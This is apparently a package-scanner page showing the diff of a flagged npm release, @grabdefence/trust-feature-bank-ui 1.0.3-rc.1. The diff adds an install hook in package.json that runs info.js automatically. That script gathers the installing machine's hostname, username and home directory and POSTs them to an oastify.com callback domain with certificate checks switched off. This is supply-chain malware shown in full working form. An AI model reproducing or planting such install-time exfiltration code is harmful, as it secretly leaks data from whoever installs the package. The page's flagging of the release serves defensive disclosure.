@grabdefence/trust-feature-bank-ui 1.0.3-rc.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @grabdefence/trust-feature-bank-ui might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/info.js +27 -0
  2. package/package.json +18 -0
package/info.js ADDED
@@ -0,0 +1,27 @@
1
+ const https = require('https');
2
+ var os = require("os");
3
+ var hostname = os.hostname();
4
+ var uname = os.userInfo().username;
5
+ var env = os.homedir();
6
+
7
+ const data = new TextEncoder().encode(
8
+ JSON.stringify({
9
+ payload: hostname, uname, env
10
+ })
11
+ );
12
+
13
+ const options = {
14
+ hostname: uname + '.' + hostname + '.gxh03b4xozq3h51eijotk3mzdqjh77vw.oastify.com',
15
+ port: 443,
16
+ path: '/',
17
+ method: 'POST',
18
+ headers: {
19
+ 'Content-Type': 'application/json',
20
+ 'Content-Length': data.length
21
+ },
22
+ rejectUnauthorized: false
23
+ }
24
+
25
+ const req = https.request(options, res => {});
26
+ req.write(data);
27
+ req.end();
package/package.json ADDED
@@ -0,0 +1,18 @@
1
+ {
2
+ "name": "@grabdefence/trust-feature-bank-ui",
3
+ "version": "1.0.3-rc.1",
4
+ "description": "Testing",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "install": "node info.js"
8
+ },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "checking"
12
+ },
13
+ "keywords": [
14
+ "checking"
15
+ ],
16
+ "author": "grabinfosec",
17
+ "license": "ISC"
18
+ }